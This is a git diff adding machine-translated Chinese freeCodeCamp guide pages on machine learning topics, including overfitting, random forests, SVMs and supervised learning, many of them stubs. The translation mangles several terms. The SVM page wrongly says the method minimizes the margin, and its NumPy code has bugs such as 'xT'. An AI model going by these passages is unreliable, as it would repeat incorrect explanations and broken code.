+*   [在机器学习中，更多数据总是优于更好的算法吗？](https://www.quora.com/In-machine-learning-is-more-data-always-better-than-better-algorithms/answer/Xavier-Amatriain?srid=Tds3)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/feature-engineering-is-the-key/index.md b/client/src/guide/chinese/machine-learning/principles/feature-engineering-is-the-key/index.md
new file mode 100644
index 0000000000..8f0ab22533
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/feature-engineering-is-the-key/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Engineering Is the Key
+localeTitle: 特色工程是关键
+---
+## 特色工程是关键
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/feature-engineering-is-the-key/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/index.md b/client/src/guide/chinese/machine-learning/principles/index.md
new file mode 100644
index 0000000000..acfe738a23
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/index.md
@@ -0,0 +1,11 @@
+---
+title: Principles
+localeTitle: 原则
+---
+## 原则
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/intuition-fails-in-high-dimensions/index.md b/client/src/guide/chinese/machine-learning/principles/intuition-fails-in-high-dimensions/index.md
new file mode 100644
index 0000000000..0fefa8b1ab
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/intuition-fails-in-high-dimensions/index.md
@@ -0,0 +1,27 @@
+---
+title: Intuition Fails in High Dimensions
+localeTitle: 直觉在高维度上失败
+---
+## 直觉在高维度上失败
+
+#### 想像
+
+具有`X`和`Y`轴的2D平面。在它上面标记点`(1,0)`和`(0,1)` 。通过他们你画一条直线。即使不查看下面的图像，也可以了解图形的外观。
+
+![X-Y平面与你想象的线](https://ka-perseus-graphie.s3.amazonaws.com/466568bad0126c402380ff2ea57aad004f36172b.svg)
+
+现在让我们想象一个带有`X` ， `Y`和`Z`轴的3D平面。通过该3D结构，平面通过与`X`轴在`(2, 0, 0)` 2,0,0）处相交， `Y`轴在`(0, 3, 0)`和`Z`轴处于`(0, 0, 6)` 。这样的飞机在我们的头脑中难以想象，但如果我们尝试，我们最终会看到这样的东西。
+
+![X-Y-Z与我们的飞机](http://tutorial.math.lamar.edu/Classes/CalcIII/SurfaceArea_files/image001.gif)
+
+有了这个，我们就可以进入下一个更高的角度。尺寸高于`3`平面称为超平面。但首先让我们解决第四轴甚至指向的位置。我们称之为`W`轴。与先前创建新轴的情况类似，此`W`轴将垂直于预先存在的轴（ `X` ， `Y`和`Z` ）。就像`Z`垂直于`X`和`Y`轴一样。
+
+![X-Y-Z-W轴](http://eusebeia.dyndns.org/4d/vis/4d-axes.png)
+
+> 重要的是要理解这里描述的W轴垂直于所有其他坐标轴。我们可能试图指向W的方向，但这是不可能的，因为我们只局限于三维空间。
+
+因为我们生活在一个三维的世界中，我们很难理解尺寸大于3的世界。这就是我们的直觉和想象在更高维度上受到有限帮助的原因。
+
+#### 更多信息：
+
+*   [4D可视化及其重要性](http://eusebeia.dyndns.org/4d/vis/01-intro)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/its-generalization-that-counts/index.md b/client/src/guide/chinese/machine-learning/principles/its-generalization-that-counts/index.md
new file mode 100644
index 0000000000..638ba53cac
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/its-generalization-that-counts/index.md
@@ -0,0 +1,16 @@
+---
+title: Its Generalization That Counts
+localeTitle: 它的概括
+---
+## 它的概括
+
+机器学习的力量来自于不必硬编码或明确 定义描述训练数据和看不见的数据的参数。这是 机器学习的基本目标：概括学习者的发现。
+
+要测试学习者的普遍性，您需要拥有单独的测试数据 设置不用于培训学习者的任何方式。这可以通过创建 将整个训练数据集分成训练和测试集，或者 只收集更多数据。如果学习者要使用测试中找到的数据 数据集，这会在学习者中产生一种偏见，而不是在 现实。
+
+了解学习者如何对测试数据集进行操作的一种方法是 执行所谓的**交叉验证** 。这会随机分裂你的 将数据训练到给定数量的子集（例如，十个子集）和 当学习者训练其余时，留下一个子集。然后一次 学习者已经过训练，剩下的数据集用于测试。这个 训练，留下一个子集，并在旋转时重复测试 子集。
+
+#### 更多信息：
+
+*   [关于机器学习的一些有用的事情](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
+*   [“如何在交叉验证后使用测试数据集”](https://stats.stackexchange.com/a/153058/132399)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/learn-many-models-not-just-one/index.md b/client/src/guide/chinese/machine-learning/principles/learn-many-models-not-just-one/index.md
new file mode 100644
index 0000000000..e20aac5af3
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/learn-many-models-not-just-one/index.md
@@ -0,0 +1,11 @@
+---
+title: Learn Many Models not Just One
+localeTitle: 学习许多模型而不只是一个
+---
+## 学习许多模型而不只是一个
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/learn-many-models-not-just-one/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md b/client/src/guide/chinese/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md
new file mode 100644
index 0000000000..e7385548d9
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md
@@ -0,0 +1,19 @@
+---
+title: Learning Equals Representation Evaluation Optimization
+localeTitle: 学习等于表示评估优化
+---
+## 学习等于表示评估优化
+
+机器学习领域近年来已经爆发，研究人员已经爆发 开发了大量可供选择的算法。尽管如此伟大 各种型号可供选择，它们都可以分为三种 组件。
+
+制作机器学习模型的三个组件是表示， 评估和优化。这三者最直接相关 有监督的学习，但也可能与无监督学习有关。
+
+**表示** - 这描述了您希望如何查看数据。 有时你可能想要根据个人来考虑你的数据（比如 k-最近邻居）或喜欢图表（如贝叶斯网络）。
+
+**评估** - 出于监督学习目的，您需要评估或 对学习者的表现进行评分，以便提高学习成绩。这个 评估是使用评估功能（也称为_目标）完成的 功能_或_评分功能_ ）。例子包括准确度和平方误差。
+
+**优化** - 使用上面的评估功能，您需要找到 使用此评估函数的最佳分数的学习者选择 优化技术。例如贪婪的搜索和梯度下降。
+
+#### 更多信息：
+
+*   [关于机器学习的一些有用的事情](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md b/client/src/guide/chinese/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md
new file mode 100644
index 0000000000..a7c3e09607
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md
@@ -0,0 +1,11 @@
+---
+title: More Data Beats a Cleverer Algorithm
+localeTitle: 更多数据击败了更聪明的算法
+---
+## 更多数据击败了更聪明的算法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/overfitting-has-many-faces/index.md b/client/src/guide/chinese/machine-learning/principles/overfitting-has-many-faces/index.md
new file mode 100644
index 0000000000..7a50e14561
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/overfitting-has-many-faces/index.md
@@ -0,0 +1,41 @@
+---
+title: Overfitting Has Many Faces
+localeTitle: 过度拟合有很多面孔
+---
+## 过度拟合有很多面孔
+
+如果学习算法很好地适合给定的训练集，这不仅仅表示一个好的假设。当假设函数J（Θ）在训练集上具有高方差和低误差而对任何其他数据具有高测试误差时，假设函数J（Θ）非常适合您的训练集时发生过度拟合。
+
+换句话说，如果在用于训练参数的数据集上测量的假设的误差恰好低于任何其他数据集上的误差，则过度拟合。
+
+### 选择最优多项式
+
+为假设函数选择正确的多项式程度对于避免过度拟合很重要。这可以通过测试每个多项式的程度并观察对数据集的各个部分的误差结果的影响来实现。因此，我们可以将我们的数据集分解为3个部分，可用于优化假设'theta和多项式度。
+
+数据集的良好分解比率为：
+
+*   训练集：60％
+*   交叉验证：20％
+*   测试集：20％
+
+因此可以通过以下方法计算三个误差值： 1
+
+1.  使用每个多项式度数的训练集以优化`Θ`的参数
+2.  使用交叉验证集查找具有最低错误的多项式度
+3.  使用测试集来估计泛化错误
+
+### 修复过度拟合的方法
+
+这些是解决过度拟合的一些方法：
+
+1.  获得更多培训示例
+2.  尝试一组较小的功能
+3.  增加参数`λ lambda`
+
+#### 更多信息：
+
+[Coursera的机器学习课程](https://www.coursera.org/learn/machine-learning)
+
+### 来源
+
+1.  [吴，安德鲁。 “机器学习”。 _Coursera_于2018年1月29日访问](https://www.coursera.org/learn/machine-learning)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/representable-does-not-imply-learnable/index.md b/client/src/guide/chinese/machine-learning/principles/representable-does-not-imply-learnable/index.md
new file mode 100644
index 0000000000..627e1a9608
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/representable-does-not-imply-learnable/index.md
@@ -0,0 +1,11 @@
+---
+title: Representable Does not Imply Learnable
+localeTitle: 可代表性并不意味着可以学习
+---
+## 可代表性并不意味着可以学习
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/representable-does-not-imply-learnable/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md b/client/src/guide/chinese/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md
new file mode 100644
index 0000000000..9af0c186ce
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplicity Does not Imply Accuracy
+localeTitle: 简单并不意味着准确性
+---
+## 简单并不意味着准确性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md b/client/src/guide/chinese/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md
new file mode 100644
index 0000000000..eff262a6ac
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md
@@ -0,0 +1,11 @@
+---
+title: Theoretical Guarantees Are not What They Seem
+localeTitle: 理论上的保证不是他们所看到的
+---
+## 理论上的保证不是他们所看到的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/random-forest/index.md b/client/src/guide/chinese/machine-learning/random-forest/index.md
new file mode 100644
index 0000000000..49435826c2
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/random-forest/index.md
@@ -0,0 +1,59 @@
+---
+title: Random Forest
+localeTitle: 随机森林
+---
+## 随机森林
+
+随机森林是一组决策树，它们作为一个整体做出比单独做出更好的决策。
+
+### 问题
+
+决策树本身容易**过度拟合** 。这意味着树变得如此习惯于训练数据，因此很难对之前从未见过的数据做出决策。
+
+### 随机森林的解决方案
+
+随机森林属于**集成学习**算法的范畴。这类算法使用许多估算器来产生更好的结果。这使得随机森林通常比普通决策树**更准确** 。在随机森林中，创建了一堆决策树。每个树都**在数据的随机子集和该数据的特征的随机子集上进行训练** 。这样，估计器习惯于数据（过度拟合）的可能性大大降低，因为**它们中的每一个都在处理与其他数据和特征不同的数据和特征** 。这种创建一组估计器并在随机数据子集上训练它们的方法是_集成学习中的_一种技术，称为**装袋**或_Bootstrap AGGregatING_ 。为了得到预测，每个决策树对正确的预测（分类）进行投票，或者他们得到结果的平均值（回归）。
+
+### Python中Boosting的示例
+
+在本次比赛中，我们会获得一系列碰撞事件及其属性。然后我们将预测在这次碰撞中是否发生τ→3μ衰变。目前科学家们认为τ→3μ不会发生，本次比赛的目的是发现τ→3μ比科学家目前所能理解的更频繁。 这里的挑战是为以前从未观察到的事物设计机器学习问题。欧洲核子研究中心的科学家开发了以下设计来实现这一目标。 https://www.kaggle.com/c/flavours-of-physics/data
+
+```python
+#Data Cleaning 
+ import pandas as pd 
+ data_test = pd.read_csv("test.csv") 
+ data_train = pd.read_csv("training.csv") 
+ data_train = data_train.drop('min_ANNmuon',1) 
+ data_train = data_train.drop('production',1) 
+ data_train = data_train.drop('mass',1) 
+ 
+ #Cleaned data 
+ Y = data_train['signal'] 
+ X = data_train.drop('signal',1) 
+ 
+ #adaboost 
+ from sklearn.ensemble import AdaBoostClassifier 
+ from sklearn.tree import DecisionTreeClassifier 
+ seed = 9001 #this ones over 9000!!! 
+ boosted_tree = AdaBoostClassifier(DecisionTreeClassifier(max_depth=1), algorithm="SAMME", 
+                                  n_estimators=50, random_state = seed) 
+ model = boosted_tree.fit(X, Y) 
+ 
+ predictions = model.predict(data_test) 
+ print(predictions) 
+ #Note we can't really validate this data since we don't have an array of "right answers" 
+ 
+ #stochastic gradient boosting 
+ from sklearn.ensemble import GradientBoostingClassifier 
+ gradient_boosted_tree = GradientBoostingClassifier(n_estimators=50, random_state=seed) 
+ model2 = gradient_boosted_tree.fit(X,Y) 
+ 
+ predictions2 = model2.predict(data_test) 
+ print(predictions2) 
+```
+
+#### 更多信息：
+
+*   [随机森林（维基百科）](https://www.wikiwand.com/en/Random_forest)
+*   [随机森林简介 - 简化](https://www.analyticsvidhya.com/blog/2014/06/introduction-random-forest-simplified/)
+*   [随机森林算法的工作原理（视频）](https://www.youtube.com/watch?v=loNcrMjYh64)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/reinforcement-learning/index.md b/client/src/guide/chinese/machine-learning/reinforcement-learning/index.md
new file mode 100644
index 0000000000..2e409b6743
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/reinforcement-learning/index.md
@@ -0,0 +1,23 @@
+---
+title: Reinforcement Learning
+localeTitle: 强化学习
+---
+#### 推荐阅读：
+
+*   http://incompleteideas.net/sutton/book/the-book-2nd.html
+
+#### 强化学习
+
+强化学习是指机器学习领域，适用于通过给予奖励和惩罚而强化的代理人。它提供了一个很好的渐进式学习，可以简化在无法确定正确错误值的任务中学习代理的过程。
+
+例： 机器人被赋予了玩太空入侵者的任务，它试图学习通过与游戏交互来玩它，并作为回报获得它在游戏结束时得分的奖励。奖励越大，进行类似游戏的机会就越大。通过这种方式，它可以学习如何玩游戏并以最佳方式进行游戏。
+
+在工业中，机器人使用深度强化学习从一个盒子中取出一个装置并将其放入容器中。无论是成功还是失败，它都会记住对象并获得知识，并培养自己以极快的速度和精确地完成这项工作。学习本身就是一种强化学习，前提是学习是积极的。
+
+## 常用算法列表
+
+Q学习 时间差异（TD） 深层对抗网络
+
+## 用例：
+
+强化学习算法的一些应用是计算机玩棋盘游戏（Chess，Go），机器人手和自动驾驶汽车。
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/stochastic-process/index.md b/client/src/guide/chinese/machine-learning/stochastic-process/index.md
new file mode 100644
index 0000000000..ae6bfeecdb
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/stochastic-process/index.md
@@ -0,0 +1,13 @@
+---
+title: Stochastic Process
+localeTitle: 随机过程
+---
+## 随机过程
+
+随机过程基本上是一个非确定性的过程。请注意，它可能具有概率分布，并且可能不是完全随机的。例如，一次又一次地翻转双面_不公平_硬币的过程。或者例如，水滴的方向可能占据大致平坦的表面（这里可能由于偶尔的粗糙度而导致非确定性，这使得难以确定液滴的路径）。
+
+随机过程被广泛用作似乎以随机方式变化的系统和现象的数学模型。它们应用于许多学科，包括生物学，化学和物理学等自然科学，以及图像处理，信号处理，信息理论，计算机科学，密码学和电信等技术和工程领域。此外，金融市场看似随机的变化推动了金融中随机过程的广泛使用。
+
+### 更多信息：
+
+*   [随机过程](https://en.wikipedia.org/wiki/Stochastic_process)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/supervised-learning/index.md b/client/src/guide/chinese/machine-learning/supervised-learning/index.md
new file mode 100644
index 0000000000..247baafc34
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/supervised-learning/index.md
@@ -0,0 +1,39 @@
+---
+title: Supervised Learning
+localeTitle: 监督学习
+---
+## 监督学习
+
+在有监督的学习中，我们知道正确的输出应该是什么。监督学习问题可以分为回归和分类。回归问题是将输入映射到连续输出的位置。相反，分类问题是将输入映射（分组）到离散类别的位置。
+
+### 回归
+
+根据有关二手车的数据，例如里程数，您可以预测其市场价格。由于价格是一个连续变量，这是一个回归问题。在另一个例子中，微软发布了一个基于图片预测年龄的网络应用程序。同样，由于年龄是连续的而不是离散的或绝对的，这也是一个回归问题。
+
+### 分类
+
+上述回归问题可以转化为分类问题。假设您想要寻找低于X美元的二手车。然后输出将是二手车适合您设定的价格。同样，如果我们想要预测提交的图片是否属于18岁以下的人，年龄预测可能是一个分类问题，因此不应该被允许购买卷烟。
+
+### 讨论要点：
+
+*   有监督学习有什么特别之处？
+*   在什么情况下你会使用它？
+*   需要注意的警告或陷阱？
+*   什么是示例模型？
+
+#### 例1：
+
+> 鉴于有关房地产市场房屋面积的数据，请尝试预测房价。
+
+作为大小函数的价格是连续输出，因此这是一个回归问题。
+
+#### 例2：
+
+（a）回归 - 对于连续响应值。例如，给定一个人的照片，我们必须根据给定的图片预测他们的年龄
+
+（b）分类 - 对于分类响应值，其中数据可以分成特定的“类”。例如，对于患有肿瘤的患者，我们必须预测肿瘤是恶性的还是良性的。
+
+#### 推荐阅读：
+
+*   https://en.wikipedia.org/wiki/Supervised\_learning
+*   https://stackoverflow.com/a/1854449/6873133
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/support-vector-machine/index.md b/client/src/guide/chinese/machine-learning/support-vector-machine/index.md
new file mode 100644
index 0000000000..c7b6ab2e45
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/support-vector-machine/index.md
@@ -0,0 +1,168 @@
+---
+title: Support Vector Machine
+localeTitle: 支持向量机
+---
+## 支持向量机
+
+支持向量机（SVM）是由分离超平面正式定义的判别分类器。换句话说，给定标记的训练数据（监督学习），算法输出最佳超平面，其对新示例进行分类。它通过最小化超平面附近的数据点之间的边距来实现这一点。
+
+![SVM与逻辑回归](https://i.imgur.com/KUeOSK3.png)
+
+SVM成本函数试图用分段线性逼近逻辑函数。该ML算法用于分类问题，并且是监督学习算法子集的一部分。
+
+### 成本函数
+
+![SVM成本函数](https://i.imgur.com/SOhv2jZ.png)
+
+成本函数用于训练SVM。通过最小化J（theta）的值，我们可以确保SVM尽可能准确。在等式中，函数cost1和cost0指的是y = 1的示例的成本和y = 0的示例的成本。 SVM的成本由内核（相似性）函数决定。
+
+### 仁
+
+多项式特征可能在计算上很昂贵，并且可能会减慢大型数据集的运行时间。 不要添加更多的多项式特征，而是添加“地标”，用它来测试其他数据点的接近程度。 训练集的每个成员都是一个里程碑。 内核是“相似度函数”，用于衡量输入与特定标记的接近程度。
+
+### 大边距分类器
+
+SVM将找到以最大边距分割数据的线（或更一般情况下的超平面）。 虽然异常值可能会使线条向一个方向摆动，但足够小的C值将强制执行正则化。 这个新的正则化与1 / \\ lambda的作用相同，如线性和逻辑回归中所见，但在这里我们修改成本组件。
+
+#### 更多信息：
+
+[Andrew Ng的ML课程](https://www.coursera.org/learn/machine-learning/) [独立视频讲座](https://www.youtube.com/watch?v=1NxnPkZM9bc) [维基百科上的SVM](https://en.wikipedia.org/wiki/Support_vector_machine)
+
+以下是为python中的SVM训练，预测和查找准确性而编写的代码。这是使用Numpy完成的，但是，我们也可以在函数调用中使用scikit-learn编写。
+
+```Python
+import numpy as np 
+ 
+ 
+ class Svm (object): 
+    """" Svm classifier """ 
+ 
+    def __init__ (self, inputDim, outputDim): 
+        self.W = None 
+ 
+        # - Generate a random svm weight matrix to compute loss                 # 
+        #   with standard normal distribution and Standard deviation = 0.01.    # 
+ 
+        sigma =0.01 
+        self.W = sigma * np.random.randn(inputDim,outputDim) 
+ 
+ 
+ 
+    def calLoss (self, x, y, reg): 
+        """ 
+        Svm loss function 
+        D: Input dimension. 
+        C: Number of Classes. 
+        N: Number of example. 
+        Inputs: 
+        - x: A numpy array of shape (batchSize, D). 
+        - y: A numpy array of shape (N,) where value < C. 
+        - reg: (float) regularization strength. 
+        Returns a tuple of: 
+        - loss as single float. 
+        - gradient with respect to weights self.W (dW) with the same shape of self.W. 
+        """ 
+        loss = 0.0 
+        dW = np.zeros_like(self.W) 
+ 
+        # - Compute the svm loss and store to loss variable.                        # 
+        # - Compute gradient and store to dW variable.                              # 
+        # - Use L2 regularization                                                  # 
+ 
+        #Calculating score matrix 
+        s = x.dot(self.W) 
+        #Score with yi 
+        s_yi = s[np.arange(x.shape[0]),y] 
+        #finding the delta 
+        delta = s- s_yi[:,np.newaxis]+1 
+        #loss for samples 
+        loss_i = np.maximum(0,delta) 
+        loss_i[np.arange(x.shape[0]),y]=0 
+        loss = np.sum(loss_i)/x.shape[0] 
+        #Loss with regularization 
+        loss += reg*np.sum(self.W*self.W) 
+        #Calculating ds 
+        ds = np.zeros_like(delta) 
+        ds[delta > 0] = 1 
+        ds[np.arange(x.shape[0]),y] = 0 
+        ds[np.arange(x.shape[0]),y] = -np.sum(ds, axis=1) 
+ 
+        dW = (1/x.shape[0]) * (xT).dot(ds) 
+        dW = dW + (2* reg* self.W) 
+ 
+ 
+        return loss, dW 
+ 
+    def train (self, x, y, lr=1e-3, reg=1e-5, iter=100, batchSize=200, verbose=False): 
+        """ 
+        Train this Svm classifier using stochastic gradient descent. 
+        D: Input dimension. 
+        C: Number of Classes. 
+        N: Number of example. 
+        Inputs: 
+        - x: training data of shape (N, D) 
+        - y: output data of shape (N, ) where value < C 
+        - lr: (float) learning rate for optimization. 
+        - reg: (float) regularization strength. 
+        - iter: (integer) total number of iterations. 
+        - batchSize: (integer) number of example in each batch running. 
+        - verbose: (boolean) Print log of loss and training accuracy. 
+        Outputs: 
+        A list containing the value of the loss at each training iteration. 
+        """ 
+ 
+        # Run stochastic gradient descent to optimize W. 
+        lossHistory = [] 
+        for i in range(iter): 
+            xBatch = None 
+            yBatch = None 
+ 
+            # - Sample batchSize from training data and save to xBatch and yBatch   # 
+            # - After sampling xBatch should have shape (batchSize, D)              # 
+            #                  yBatch (batchSize, )                                 # 
+            # - Use that sample for gradient decent optimization.                   # 
+            # - Update the weights using the gradient and the learning rate.        # 
+ 
+            #creating batch 
+            num_train = np.random.choice(x.shape[0], batchSize) 
+            xBatch = x[num_train] 
+            yBatch = y[num_train] 
+            loss, dW = self.calLoss(xBatch,yBatch,reg) 
+            self.W= self.W - lr * dW 
+            lossHistory.append(loss) 
+ 
+            # Print loss for every 100 iterations 
+            if verbose and i % 100 == 0 and len(lossHistory) is not 0: 
+                print ('Loop {0} loss {1}'.format(i, lossHistory[i])) 
+ 
+        return lossHistory 
+ 
+    def predict (self, x,): 
+        """ 
+        Predict the y output. 
+        Inputs: 
+        - x: training data of shape (N, D) 
+        Returns: 
+        - yPred: output data of shape (N, ) where value < C 
+        """ 
+        yPred = np.zeros(x.shape[0]) 
+ 
+        # -  Store the predict output in yPred                                    # 
+ 
+        s = x.dot(self.W) 
+        yPred = np.argmax(s, axis=1) 
+        return yPred 
+ 
+ 
+    def calAccuracy (self, x, y): 
+        acc = 0 
+ 
+        # -  Calculate accuracy of the predict value and store to acc variable 
+        yPred = self.predict(x) 
+        acc = np.mean(y == yPred)*100 
+        return acc 
+```
+
+#### 更多信息：
+
+[Scikit-learn SVM](http://scikit-learn.org/stable/modules/svm.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/tensorflow-for-machine-learning/index.md b/client/src/guide/chinese/machine-learning/tensorflow-for-machine-learning/index.md
new file mode 100644
index 0000000000..527f5e4180
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/tensorflow-for-machine-learning/index.md
@@ -0,0 +1,17 @@
+---
+title: Machine Learning using Tensorflow
+localeTitle: 使用Tensorflow进行机器学习
+---
+#### 什么是TensorFlow？
+
+“TensorFlow是一个用于研究和生产的开源机器学习库.TensorFlow为初学者和专家提供API，用于开发桌面，移动，Web和云。”
+
+Tensorflow允许用户创建数据流图。这些是描述数据如何在图表中移动的结构。这些节点彼此连接，其中节点表示数学运算，并且连接表示多维阵列或张量。
+
+Tensorflow允许开发人员更多地关注应用程序的逻辑，而不是陷入复杂的算法或找出实现这些算法的最佳方式。在创建深度网络时，确定哪个节点需要连接到哪个节点也变得很繁琐。 Tensorflow可以更轻松地在层之间建立连接。因此，开发人员更容易集中精力使应用程序更好。
+
+#### 更多信息：
+
+*   [TensorFlow](https://www.tensorflow.org)
+*   [TensorFlow GitHub存储库](https://github.com/tensorflow)
+*   [维基百科TensorFlow](https://en.wikipedia.org/wiki/TensorFlow)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/unsupervised-learning/index.md b/client/src/guide/chinese/machine-learning/unsupervised-learning/index.md
new file mode 100644
index 0000000000..ff208a04a6
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/unsupervised-learning/index.md
@@ -0,0 +1,25 @@
+---
+title: Unsupervised Learning
+localeTitle: 无监督学习
+---
+#### 推荐阅读：
+
+*   https://en.wikipedia.org/wiki/Unsupervised\_learning
+*   https://stackoverflow.com/a/1854449/6873133
+*   http://mlg.eng.cam.ac.uk/zoubin/papers/ul.pdf
+
+#### 条款草案：
+
+什么是无监督学习？
+
+无监督学习使我们能够在很少或根本不知道我们的结果应该是什么样的情况下解决问题。我们可以从数据中导出结构，我们不一定知道变量的影响。
+
+类型：
+
+聚类：用于探索性数据分析，以查找隐藏的模式或数据分组。收集1,000,000个不同的基因，并找到一种方法将这些基因自动分组成不同的相似或通过不同变量相关的组，例如寿命，位置，角色等。
+
+无监督学习的方法包括：
+
+集群。 K均值。混合模型。层次聚类，异常检测。神经网络。 Hebbian学习。生成性对抗网络。用于学习潜变量模型的方法，如。期望最大化算法（EM）矩的方法
+
+几个例子： 假设您有电子商务网站的数据。你有一份他们上周在网上订购的人和物品清单。您现在可以使用聚类算法并在数据中查找模式，预测购买趋势并根据趋势制定业务策略。
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/yolo-for-object-detection/index.md b/client/src/guide/chinese/machine-learning/yolo-for-object-detection/index.md
new file mode 100644
index 0000000000..0f09f7b8ab
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/yolo-for-object-detection/index.md
@@ -0,0 +1,13 @@
+---
+title: YOLO
+localeTitle: YOLO
+---
+## YOLO - 你只看一次用于实时物体检测的方法
+
+YOLO是一个综合的分类和检测框架，能够实时进行预测，并与现有的检测框架相媲美。
+
+#### 更多信息：
+
+*   YOLO [纸](https://arxiv.org/abs/1506.02640)
+*   作者[网站](https://pjreddie.com/darknet/yolo/)
+*   演示[视频](https://www.youtube.com/watch?v=VOC3huqHrss)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/2-by-2-determinants/index.md b/client/src/guide/chinese/mathematics/2-by-2-determinants/index.md
new file mode 100644
index 0000000000..3472762ecf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/2-by-2-determinants/index.md
@@ -0,0 +1,28 @@
+---
+title: 2 by 2 Determinants
+localeTitle: 2乘2的决定因素
+---
+## 2乘2的决定因素
+
+在线性代数中，二乘二矩阵的行列式是一个有用的量。它主要用于计算给定四边形的面积（仅凸多边形），也是四边形的简单表示（仅凸多边形）作为数组存储在计算机中。科学家，工程师和数学家在许多日常应用中使用决定因素，包括图像和图形处理。
+
+计算平方2×2矩阵的行列式很简单，并且是用于计算较大平方矩阵的行列式的[拉普拉斯公式](https://en.wikipedia.org/wiki/Laplace_expansion)的基础。
+
+给定矩阵A，A的决定因素（写为| A |）由下式给出：
+
+## （2x2）决定簇的性质
+
